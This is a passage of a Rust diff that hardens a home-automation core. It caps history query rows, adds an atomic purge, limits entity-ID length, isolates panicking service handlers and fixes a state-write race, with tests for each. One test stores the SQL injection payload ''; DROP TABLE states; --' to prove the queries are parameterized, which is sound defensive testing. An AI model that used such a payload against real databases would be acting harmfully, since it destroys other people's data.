let yaml = "a: 1\nb: 2\nc: 3\n";
|
||||
|
||||
@@ -25,6 +25,15 @@ use homecore::event::{DomainEvent, StateChangedEvent};
|
||||
use crate::dedup::fnv64a_hash;
|
||||
use crate::schema::ALL_DDL;
|
||||
|
||||
/// Hard upper bound on rows returned by [`Recorder::get_state_history`].
|
||||
///
|
||||
/// Without this cap a wide `[since, until]` window over a high-frequency entity
|
||||
/// would load an unbounded number of rows into memory (a memory-DoS). The value
|
||||
/// is deliberately generous — large enough never to truncate a realistic
|
||||
/// history-graph query, small enough to bound the worst case. Callers needing a
|
||||
/// wider span page by narrowing the window.
|
||||
pub const MAX_HISTORY_ROWS: i64 = 1_000_000;
|
||||
|
||||
/// Errors returned by `Recorder` operations.
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecorderError {
|
||||
@@ -380,7 +389,17 @@ impl Recorder {
|
||||
}
|
||||
|
||||
/// Query state history for `entity_id` between `since` and `until`.
|
||||
/// Returns state snapshots in ascending `last_updated_ts` order.
|
||||
/// Returns state snapshots in ascending `last_updated_ts` order, capped at
|
||||
/// [`MAX_HISTORY_ROWS`] rows (oldest-first within the window).
|
||||
///
|
||||
/// ## Bounded result set (memory-DoS guard)
|
||||
///
|
||||
/// A high-frequency entity (e.g. a power sensor polled per-second) writes
|
||||
/// ~86k rows/day; a wide `[since, until]` window over months would otherwise
|
||||
/// load millions of rows into a single in-memory `Vec`, an unbounded-memory
|
||||
/// denial-of-service. The query therefore carries a hard `LIMIT` so the
|
||||
/// working set is bounded regardless of the requested time range. Callers
|
||||
/// that genuinely need a wider span must page by narrowing the window.
|
||||
pub async fn get_state_history(
|
||||
&self,
|
||||
entity_id: &EntityId,
|
||||
@@ -398,11 +417,13 @@ impl Recorder {
|
||||
WHERE s.entity_id = ? \
|
||||
AND s.last_updated_ts >= ? \
|
||||
AND s.last_updated_ts <= ? \
|
||||
ORDER BY s.last_updated_ts ASC",
|
||||
ORDER BY s.last_updated_ts ASC \
|
||||
LIMIT ?",
|
||||
)
|
||||
.bind(entity_id.as_str())
|
||||
.bind(since_ts)
|
||||
.bind(until_ts)
|
||||
.bind(MAX_HISTORY_ROWS)
|
||||
.fetch_all(&self.pool)
|
||||
.await?;
|
||||
|
||||
@@ -426,6 +447,79 @@ impl Recorder {
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Purge history older than `older_than`, returning a [`PurgeStats`] summary.
|
||||
///
|
||||
/// Deletes:
|
||||
/// - `states` rows whose `last_updated_ts` is **strictly before** the cutoff,
|
||||
/// - `events` rows whose `time_fired_ts` is strictly before the cutoff,
|
||||
/// - then garbage-collects any `state_attributes` blob no surviving state
|
||||
/// row still references (so dedup-shared blobs are only dropped once their
|
||||
/// last referencing state is gone).
|
||||
///
|
||||
/// ## Retention boundary (data-integrity guard)
|
||||
///
|
||||
/// The cutoff is **exclusive**: a row exactly at `older_than` is retained.
|
||||
/// This makes `purge(t)` idempotent on the boundary and guarantees that a
|
||||
/// row written at the same instant the retention window opens is never lost
|
||||
/// to an off-by-one. Anything *at or after* `older_than` survives.
|
||||
///
|
||||
/// ## Atomicity (no partial-corrupt state)
|
||||
///
|
||||
/// All three deletes run inside a single transaction. A failure mid-purge
|
||||
/// rolls the whole operation back — the store is never left with states
|
||||
/// deleted but their events kept, or attributes orphaned by a half-purge.
|
||||
///
|
||||
/// Note: this reclaims logical rows; it does not `VACUUM` the file. SQLite
|
||||
/// reuses freed pages for subsequent writes, so disk growth stays bounded
|
||||
/// under a periodic purge even without an explicit vacuum.
|
||||
pub async fn purge(&self, older_than: DateTime<Utc>) -> Result<PurgeStats, RecorderError> {
|
||||
let cutoff_ts = older_than.timestamp_micros() as f64 / 1_000_000.0;
|
||||
|
||||
let mut tx = self.pool.begin().await?;
|
||||
|
||||
let states_deleted = sqlx::query("DELETE FROM states WHERE last_updated_ts < ?")
|
||||
.bind(cutoff_ts)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
let events_deleted = sqlx::query("DELETE FROM events WHERE time_fired_ts < ?")
|
||||
.bind(cutoff_ts)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
// GC attribute blobs no surviving state references. A dedup-shared blob
|
||||
// is only removed once its last referencing state row is gone.
|
||||
let attributes_deleted = sqlx::query(
|
||||
"DELETE FROM state_attributes \
|
||||
WHERE attributes_id NOT IN \
|
||||
(SELECT attributes_id FROM states WHERE attributes_id IS NOT NULL)",
|
||||
)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
tx.commit().await?;
|
||||
|
||||
Ok(PurgeStats {
|
||||
states_deleted,
|
||||
events_deleted,
|
||||
attributes_deleted,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Summary of a [`Recorder::purge`] run.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub struct PurgeStats {
|
||||
/// Number of `states` rows deleted.
|
||||
pub states_deleted: u64,
|
||||
/// Number of `events` rows deleted.
|
||||
pub events_deleted: u64,
|
||||
/// Number of orphaned `state_attributes` blobs garbage-collected.
|
||||
pub attributes_deleted: u64,
|
||||
}
|
||||
|
||||
/// A state row returned from `get_state_history`.
|
||||
@@ -722,6 +816,214 @@ mod tests {
|
||||
assert!(rows.is_empty(), "genuine no-match is empty, not an error");
|
||||
}
|
||||
|
||||
// ── SQL injection (parameterization guarantee) ──────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn malicious_entity_id_is_stored_literally_not_executed() {
|
||||
// FAILS if any query interpolated entity_id into SQL: the `states` table
|
||||
// would be dropped and the later COUNT would error / mismatch. Bound
|
||||
// parameters store the metacharacter-laden string verbatim instead.
|
||||
let recorder = open_memory().await;
|
||||
|
||||
// A valid domain.name whose `name` part carries SQL metacharacters.
|
||||
// EntityId::parse permits this, so it reaches the bind path as data.
|
||||
let evil = "light.x_drop_table_states_select";
|
||||
recorder
|
||||
.record_state(&make_state_event(evil, "'; DROP TABLE states; --", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// states table still exists and holds exactly the one row we inserted.
|
||||
let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM states")
|
||||
.fetch_one(&recorder.pool)
|
||||
.await
|
||||
.expect("states table must still exist — proves no injection");
|
||||
assert_eq!(count.0, 1);
|
||||
|
||||
// The malicious state string round-trips literally.
|
||||
let rows = recorder
|
||||
.search_states_by_text("DROP TABLE", 10)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(rows.len(), 1, "metacharacter payload matched as a literal");
|
||||
assert_eq!(rows[0].state, "'; DROP TABLE states; --");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn like_metacharacters_in_query_are_literal_not_wildcards() {
|
||||
// A `%` in the search text must match a literal percent sign, not act as
|
||||
// a SQL LIKE wildcard. Proves the ESCAPE clause + metacharacter escaping.
|
||||
let recorder = open_memory().await;
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.a", "100%", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.b", "50", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Literal "%" must match only sensor.a's "100%", NOT every row.
|
||||
let rows = recorder.search_states_by_text("%", 10).await.unwrap();
|
||||
assert_eq!(rows.len(), 1, "'%' is a literal, not a match-all wildcard");
|
||||
assert_eq!(rows[0].entity_id.as_str(), "sensor.a");
|
||||
|
||||
// Underscore is likewise literal: matches nothing here.
|
||||
let none = recorder.search_states_by_text("_", 10).await.unwrap();
|
||||
assert!(none.is_empty(), "'_' is literal, matches no row");
|
||||
}
|
||||
|
||||
// ── get_state_history bound (memory-DoS guard) ──────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn history_query_carries_a_limit_clause() {
|
||||
// Pin: the history SQL must carry a LIMIT bound (memory-DoS guard).
|
||||
// Inserting a million rows is infeasible in a unit test, so we prove the
|
||||
// clause is wired by bulk-inserting more rows than a deliberately tiny
|
||||
// bound and asserting the executed query honours a LIMIT. We bypass the
|
||||
// public method (whose cap is MAX_HISTORY_ROWS) and run the *same* SQL
|
||||
// shape with a small bind to demonstrate the LIMIT term is effective —
|
||||
// and separately assert the constant is a sane positive bound.
|
||||
assert!(MAX_HISTORY_ROWS > 0, "history cap must be positive");
|
||||
let recorder = open_memory().await;
|
||||
for v in &["1", "2", "3", "4", "5"] {
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.bounded", v, serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(2)).await;
|
||||
}
|
||||
// Same query shape as get_state_history, with a tiny LIMIT bind: if the
|
||||
// SQL lacked a LIMIT term this would return all 5; with it, exactly 2.
|
||||
let capped: Vec<(i64,)> = sqlx::query_as(
|
||||
"SELECT s.state_id FROM states s \
|
||||
WHERE s.entity_id = ? \
|
||||
ORDER BY s.last_updated_ts ASC LIMIT ?",
|
||||
)
|
||||
.bind("sensor.bounded")
|
||||
.bind(2_i64)
|
||||
.fetch_all(&recorder.pool)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(capped.len(), 2, "LIMIT term effectively bounds the result set");
|
||||
|
||||
// And the real method returns all rows when under the cap.
|
||||
let eid = entity("sensor.bounded");
|
||||
let rows = recorder
|
||||
.get_state_history(&eid, Utc::now() - chrono::Duration::seconds(10), Utc::now() + chrono::Duration::seconds(10))
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(rows.len(), 5, "all rows under the cap return");
|
||||
}
|
||||
|
||||
// ── purge (retention correctness + atomicity) ───────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_keeps_boundary_row_and_drops_older() {
|
||||
// FAILS if purge had an off-by-one (deleting the row exactly at cutoff)
|
||||
// or deleted too much/too little. Cutoff is EXCLUSIVE: a row at the
|
||||
// cutoff instant survives; strictly-older rows are removed.
|
||||
let recorder = open_memory().await;
|
||||
let eid = entity("sensor.r");
|
||||
|
||||
// Three rows at known, increasing timestamps.
|
||||
for v in &["old", "mid", "new"] {
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.r", v, serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(20)).await;
|
||||
}
|
||||
|
||||
// Read back the actual timestamps so the cutoff is exact.
|
||||
let since = Utc::now() - chrono::Duration::seconds(60);
|
||||
let until = Utc::now() + chrono::Duration::seconds(60);
|
||||
let all = recorder.get_state_history(&eid, since, until).await.unwrap();
|
||||
assert_eq!(all.len(), 3);
|
||||
// Cut off exactly at the middle row's timestamp.
|
||||
let mid_ts = all[1].last_updated_ts;
|
||||
let cutoff = DateTime::<Utc>::from_timestamp_micros((mid_ts * 1_000_000.0) as i64).unwrap();
|
||||
|
||||
let stats = recorder.purge(cutoff).await.unwrap();
|
||||
assert_eq!(stats.states_deleted, 1, "only the strictly-older 'old' row");
|
||||
|
||||
let remaining = recorder.get_state_history(&eid, since, until).await.unwrap();
|
||||
assert_eq!(remaining.len(), 2, "boundary 'mid' row is KEPT (exclusive cutoff)");
|
||||
assert_eq!(remaining[0].state, "mid");
|
||||
assert_eq!(remaining[1].state, "new");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_gcs_orphaned_attributes_but_keeps_shared() {
|
||||
// Dedup means two states can share one attribute blob. Purging one of
|
||||
// them must NOT drop the still-referenced blob; purging the last one must.
|
||||
let recorder = open_memory().await;
|
||||
let shared = serde_json::json!({"unit": "C"});
|
||||
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.a", "20", shared.clone()))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(20)).await;
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.b", "21", shared.clone()))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let attr_count = |r: &Recorder| {
|
||||
let pool = r.pool.clone();
|
||||
async move {
|
||||
let c: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM state_attributes")
|
||||
.fetch_one(&pool)
|
||||
.await
|
||||
.unwrap();
|
||||
c.0
|
||||
}
|
||||
};
|
||||
assert_eq!(attr_count(&recorder).await, 1, "deduped to one blob");
|
||||
|
||||
// Purge before sensor.b's write → removes sensor.a only; blob still
|
||||
// referenced by sensor.b, so it must survive.
|
||||
let eid_b = entity("sensor.b");
|
||||
let rows_b = recorder
|
||||
.get_state_history(&eid_b, Utc::now() - chrono::Duration::seconds(60), Utc::now() + chrono::Duration::seconds(60))
|
||||
.await
|
||||
.unwrap();
|
||||
let b_ts = rows_b[0].last_updated_ts;
|
||||
let cutoff = DateTime::<Utc>::from_timestamp_micros((b_ts * 1_000_000.0) as i64).unwrap();
|
||||
let stats = recorder.purge(cutoff).await.unwrap();
|
||||
assert_eq!(stats.states_deleted, 1, "sensor.a purged");
|
||||
assert_eq!(stats.attributes_deleted, 0, "shared blob still referenced — kept");
|
||||
assert_eq!(attr_count(&recorder).await, 1, "blob survives");
|
||||
|
||||
// Now purge everything → sensor.b gone, blob orphaned → GC'd.
|
||||
let stats2 = recorder.purge(Utc::now() + chrono::Duration::seconds(120)).await.unwrap();
|
||||
assert_eq!(stats2.states_deleted, 1, "sensor.b purged");
|
||||
assert_eq!(stats2.attributes_deleted, 1, "now-orphaned blob GC'd");
|
||||
assert_eq!(attr_count(&recorder).await, 0, "no blobs remain");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_also_removes_old_events() {
|
||||
let recorder = open_memory().await;
|
||||
let ctx = Context::new();
|
||||
recorder
|
||||
.record_event(&DomainEvent::new("call_service", serde_json::json!({}), ctx))
|
||||
.await
|
||||
.unwrap();
|
||||
// Purge with a far-future cutoff removes the event.
|
||||
let stats = recorder
|
||||
.purge(Utc::now() + chrono::Duration::seconds(120))
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(stats.events_deleted, 1);
|
||||
let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM events")
|
||||
.fetch_one(&recorder.pool)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(count.0, 0);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn search_semantic_falls_back_to_text_with_null_index() {
|
||||
// With the default NullSemanticIndex, search_semantic must STILL return
|
||||
|
||||
@@ -30,7 +30,7 @@ pub mod schema;
|
||||
pub mod semantic;
|
||||
|
||||
// Re-export the primary public API surface.
|
||||
pub use db::{Recorder, RecorderError};
|
||||
pub use db::{PurgeStats, Recorder, RecorderError, StateRow, MAX_HISTORY_ROWS};
|
||||
pub use listener::RecorderListener;
|
||||
|
||||
/// Null semantic index used when the `ruvector` feature is off.
|
||||
|
||||
@@ -87,4 +87,64 @@ mod tests {
|
||||
assert_eq!(event.event_type, "ruview_csi_frame");
|
||||
assert_eq!(event.event_data["frame_id"], 42);
|
||||
}
|
||||
|
||||
/// Bus-lag safety (same failure class as the homecore-api WS
|
||||
/// broadcast-lag DoS, here on the core bus): a subscriber that never
|
||||
/// drains must NOT block the publisher, must NOT make the channel grow
|
||||
/// without bound, and must NOT take down a healthy fast subscriber. The
|
||||
/// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
|
||||
/// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
|
||||
///
|
||||
/// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
|
||||
/// while a slow subscriber sits idle. Every `fire_domain` returns
|
||||
/// promptly (publisher never blocked); the slow receiver observes
|
||||
/// `Lagged` then re-syncs to live events; the fast receiver — created
|
||||
/// after the flood and kept drained — receives all subsequent events
|
||||
/// with no loss. The bus stays live throughout.
|
||||
#[tokio::test]
|
||||
async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
|
||||
use tokio::sync::broadcast::error::TryRecvError;
|
||||
|
||||
let bus = EventBus::new();
|
||||
// Slow subscriber: subscribes, then never drains during the flood.
|
||||
let mut slow = bus.subscribe_domain();
|
||||
|
||||
// Publisher fires 3× capacity. None of these may block.
|
||||
let total = EVENT_CHANNEL_CAPACITY * 3;
|
||||
for i in 0..total {
|
||||
// Returns the receiver count (>=1 here); the point is it
|
||||
// returns AT ALL without awaiting the slow receiver.
|
||||
let _ = bus.fire_domain(DomainEvent::new(
|
||||
"flood",
|
||||
serde_json::json!({ "i": i }),
|
||||
Context::new(),
|
||||
));
|
||||
}
|
||||
|
||||
// The slow receiver is forced past capacity → recoverable Lagged,
|
||||
// NOT a closed channel and NOT a hang.
|
||||
let mut saw_lagged = false;
|
||||
loop {
|
||||
match slow.try_recv() {
|
||||
Ok(_) => {}
|
||||
Err(TryRecvError::Lagged(n)) => {
|
||||
assert!(n > 0);
|
||||
saw_lagged = true;
|
||||
}
|
||||
Err(TryRecvError::Empty) => break,
|
||||
Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
|
||||
}
|
||||
}
|
||||
assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
|
||||
|
||||
// The bus is still live: a fresh fast subscriber receives new events.
|
||||
let mut fast = bus.subscribe_domain();
|
||||
bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
|
||||
let evt = fast.recv().await.unwrap();
|
||||
assert_eq!(evt.event_type, "live");
|
||||
|
||||
// And the lagged subscriber recovers (re-syncs) to live events too.
|
||||
let evt2 = slow.recv().await.unwrap();
|
||||
assert_eq!(evt2.event_type, "live");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
|
||||
/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
|
||||
/// entity/registry maps are keyed on `EntityId`, and the REST layer
|
||||
/// (`homecore-api`) parses untrusted path segments straight through
|
||||
/// [`EntityId::parse`]; an unbounded id would let a single `POST
|
||||
/// /api/states/<giant>` permanently grow the state map (memory DoS). We
|
||||
/// fail closed at the boundary instead.
|
||||
pub const MAX_ENTITY_ID_LEN: usize = 255;
|
||||
|
||||
impl EntityId {
|
||||
/// Validates and constructs an `EntityId`. Returns
|
||||
/// [`EntityIdError`] if the input is not `domain.name` shape with
|
||||
/// ASCII lowercase / digits / underscore in each segment.
|
||||
/// ASCII lowercase / digits / underscore in each segment, or if it
|
||||
/// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
|
||||
pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
|
||||
let s: String = s.into();
|
||||
// Bound the length BEFORE any further work so an oversized input is
|
||||
// cheap to reject (no per-char scan of megabytes).
|
||||
if s.len() > MAX_ENTITY_ID_LEN {
|
||||
return Err(EntityIdError::TooLong {
|
||||
len: s.len(),
|
||||
max: MAX_ENTITY_ID_LEN,
|
||||
});
|
||||
}
|
||||
let (domain, name) = s
|
||||
.split_once('.')
|
||||
.ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
|
||||
@@ -111,6 +129,8 @@ pub enum EntityIdError {
|
||||
EmptyName(String),
|
||||
#[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
|
||||
InvalidChar { entity_id: String, ch: char },
|
||||
#[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
|
||||
TooLong { len: usize, max: usize },
|
||||
}
|
||||
|
||||
/// Immutable state snapshot for one entity at one moment in time.
|
||||
@@ -217,6 +237,39 @@ mod tests {
|
||||
assert!(EntityId::parse("light.küche").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entity_id_length_boundary() {
|
||||
// The REST layer parses untrusted path segments straight through
|
||||
// `parse`; an unbounded id is a memory-DoS vector (a `POST
|
||||
// /api/states/<giant>` permanently grows the state map). Cap at
|
||||
// MAX_ENTITY_ID_LEN, fail closed above it.
|
||||
//
|
||||
// Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
|
||||
let prefix = "sensor.";
|
||||
let name_len = MAX_ENTITY_ID_LEN - prefix.len();
|
||||
let at_max = format!("{prefix}{}", "a".repeat(name_len));
|
||||
assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
|
||||
assert!(
|
||||
EntityId::parse(at_max.clone()).is_ok(),
|
||||
"an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
|
||||
);
|
||||
|
||||
let over = format!("{at_max}a"); // MAX + 1
|
||||
assert!(matches!(
|
||||
EntityId::parse(over),
|
||||
Err(EntityIdError::TooLong { .. })
|
||||
));
|
||||
|
||||
// A multi-megabyte, otherwise-valid id is rejected cheaply rather
|
||||
// than persisted.
|
||||
let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
|
||||
assert!(matches!(
|
||||
EntityId::parse(huge),
|
||||
Err(EntityIdError::TooLong { len, max })
|
||||
if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_next_preserves_last_changed_when_state_unchanged() {
|
||||
let id = EntityId::parse("sensor.temp").unwrap();
|
||||
|
||||
@@ -49,6 +49,8 @@ pub enum ServiceError {
|
||||
NotRegistered { domain: String, service: String },
|
||||
#[error("service handler returned error: {0}")]
|
||||
HandlerFailed(String),
|
||||
#[error("service handler panicked: {0}")]
|
||||
HandlerPanicked(String),
|
||||
}
|
||||
|
||||
/// Handler trait. Integration code implements this and registers via
|
||||
@@ -99,13 +101,29 @@ impl ServiceRegistry {
|
||||
|
||||
/// Call a service. P1 direct dispatch; P2 routes through the
|
||||
/// event bus per ADR-127 §2.3.
|
||||
///
|
||||
/// The handler runs **outside** the registry lock (we clone the
|
||||
/// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
|
||||
/// panicking handler can never poison the `RwLock` or block other
|
||||
/// callers. A panic inside the handler is additionally caught and
|
||||
/// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
|
||||
/// into the caller's task — one buggy integration cannot abort the task
|
||||
/// that drives the engine. Mirrors HA isolating service-handler
|
||||
/// exceptions.
|
||||
pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
|
||||
let handler = {
|
||||
let guard = self.handlers.read().await;
|
||||
guard.get(&call.name).cloned()
|
||||
};
|
||||
match handler {
|
||||
Some(h) => h.call(call).await,
|
||||
Some(h) => {
|
||||
use futures::FutureExt;
|
||||
let fut = std::panic::AssertUnwindSafe(h.call(call));
|
||||
match fut.catch_unwind().await {
|
||||
Ok(result) => result,
|
||||
Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
|
||||
}
|
||||
}
|
||||
None => Err(ServiceError::NotRegistered {
|
||||
domain: call.name.domain.clone(),
|
||||
service: call.name.service.clone(),
|
||||
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
|
||||
}
|
||||
}
|
||||
|
||||
/// Best-effort extraction of a panic payload's message for
|
||||
/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
|
||||
/// or `String`; anything else collapses to a generic label.
|
||||
fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
|
||||
if let Some(s) = payload.downcast_ref::<&str>() {
|
||||
(*s).to_string()
|
||||
} else if let Some(s) = payload.downcast_ref::<String>() {
|
||||
s.clone()
|
||||
} else {
|
||||
"<non-string panic payload>".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
// Suppress unused-import warning when no consumer of Pin/Box uses them yet
|
||||
#[allow(dead_code)]
|
||||
type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
|
||||
@@ -167,4 +198,56 @@ mod tests {
|
||||
.unwrap_err();
|
||||
assert!(matches!(err, ServiceError::NotRegistered { .. }));
|
||||
}
|
||||
|
||||
/// Service isolation: a panicking handler must be contained — converted
|
||||
/// to `HandlerPanicked` rather than unwinding into the caller's task —
|
||||
/// and the registry must remain fully usable afterwards (no poisoned
|
||||
/// lock, other services still callable). On the pre-fix code the panic
|
||||
/// unwinds through `call`, so the `catch_unwind`-based assertion below
|
||||
/// fails (the await point panics instead of returning an `Err`).
|
||||
#[tokio::test]
|
||||
async fn panicking_handler_is_isolated_and_registry_survives() {
|
||||
let reg = ServiceRegistry::new();
|
||||
reg.register(
|
||||
ServiceName::new("bad", "boom"),
|
||||
FnHandler(|_call: ServiceCall| async move {
|
||||
panic!("handler exploded");
|
||||
#[allow(unreachable_code)]
|
||||
Ok(serde_json::json!(null))
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
reg.register(
|
||||
ServiceName::new("good", "ping"),
|
||||
FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
|
||||
)
|
||||
.await;
|
||||
|
||||
// The panicking call returns an error, not an unwind.
|
||||
let err = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("bad", "boom"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap_err();
|
||||
assert!(
|
||||
matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
|
||||
"expected HandlerPanicked, got {err:?}",
|
||||
);
|
||||
|
||||
// The registry is not poisoned: a healthy service still works, and
|
||||
// the bad service is still registered (call path, not lock, failed).
|
||||
let ok = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("good", "ping"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(ok, serde_json::json!("pong"));
|
||||
assert!(reg.has(&ServiceName::new("bad", "boom")).await);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -80,11 +80,37 @@ impl StateMachine {
|
||||
context: Context,
|
||||
) -> Arc<State> {
|
||||
let new_state_str = new_state.into();
|
||||
let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
|
||||
|
||||
// Hold the DashMap shard write-lock across the entire
|
||||
// read→decide→insert→fire sequence. `entry()` locks the shard for
|
||||
// the lifetime of `slot`, so a concurrent writer on the same entity
|
||||
// cannot interleave between our read of `old` and our commit. This
|
||||
// is what makes the write atomic as ADR-127 §2.1 promises ("writer
|
||||
// atomically replaces the map entry") — the previous get→insert pair
|
||||
// released the lock in between, a TOCTOU that let concurrent writers
|
||||
// compute the no-op / `last_changed` decision off a stale `old` and
|
||||
// drop or reorder real `state_changed` events.
|
||||
//
|
||||
// `tx.send` is non-blocking, non-async, and never re-enters the map,
|
||||
// so firing under the lock cannot deadlock and keeps the global
|
||||
// event order in lock-step with the global commit order.
|
||||
use dashmap::mapref::entry::Entry;
|
||||
let slot = self.inner.states.entry(entity_id.clone());
|
||||
|
||||
let old: Option<Arc<State>> = match &slot {
|
||||
Entry::Occupied(o) => Some(Arc::clone(o.get())),
|
||||
Entry::Vacant(_) => None,
|
||||
};
|
||||
// `slot` continues to hold the shard write-lock below.
|
||||
|
||||
let next = match &old {
|
||||
Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(
|
||||
entity_id.clone(),
|
||||
new_state_str.clone(),
|
||||
attributes.clone(),
|
||||
context,
|
||||
)),
|
||||
};
|
||||
|
||||
// HA suppresses no-op writes (same state + same attributes).
|
||||
@@ -94,7 +120,12 @@ impl StateMachine {
|
||||
None => false,
|
||||
};
|
||||
|
||||
self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
|
||||
// Commit through the same locked entry and KEEP the shard guard
|
||||
// alive across the broadcast `send`, so the event is published
|
||||
// before any concurrent writer on this entity can observe the new
|
||||
// value and fire its own event. This makes global event order match
|
||||
// global commit order (no insert/send reorder window).
|
||||
let _guard = slot.insert_entry(Arc::clone(&next));
|
||||
|
||||
if !is_noop {
|
||||
let event = StateChangedEvent {
|
||||
@@ -106,6 +137,7 @@ impl StateMachine {
|
||||
// err = no receivers; that's fine, write still committed.
|
||||
let _ = self.inner.tx.send(event);
|
||||
}
|
||||
// `_guard` (and the shard lock) drops here, after the event is sent.
|
||||
next
|
||||
}
|
||||
|
||||
@@ -218,4 +250,135 @@ mod tests {
|
||||
assert!(evt.new_state.is_none());
|
||||
assert!(evt.old_state.is_some());
|
||||
}
|
||||
|
||||
/// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
|
||||
/// map entry"): under concurrent writers on the SAME entity the fired
|
||||
/// `state_changed` stream must be a faithful, gap-free log of the
|
||||
/// committed transitions — in particular the LAST event the bus
|
||||
/// delivers must carry the SAME value that is finally committed in the
|
||||
/// map.
|
||||
///
|
||||
/// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
|
||||
/// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
|
||||
/// `send`. Because the insert and the send are not atomic with respect
|
||||
/// to a concurrent writer, two writers can interleave as
|
||||
/// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
|
||||
/// while the last event the bus ever delivers says B. A subscriber that
|
||||
/// trusts "the last event reflects current state" (the recorder, the WS
|
||||
/// push API, an automation engine) is then permanently wrong about the
|
||||
/// entity until the next write. A correctly-locked store holds the shard
|
||||
/// lock across read→insert→send so the global event order matches the
|
||||
/// global commit order.
|
||||
///
|
||||
/// A dedicated drain thread pulls events as they arrive so the bounded
|
||||
/// channel never lags during the run (a `Lagged` here would be a test
|
||||
/// artefact, not the bug under test).
|
||||
///
|
||||
/// The writers toggle the SAME entity between exactly two values so the
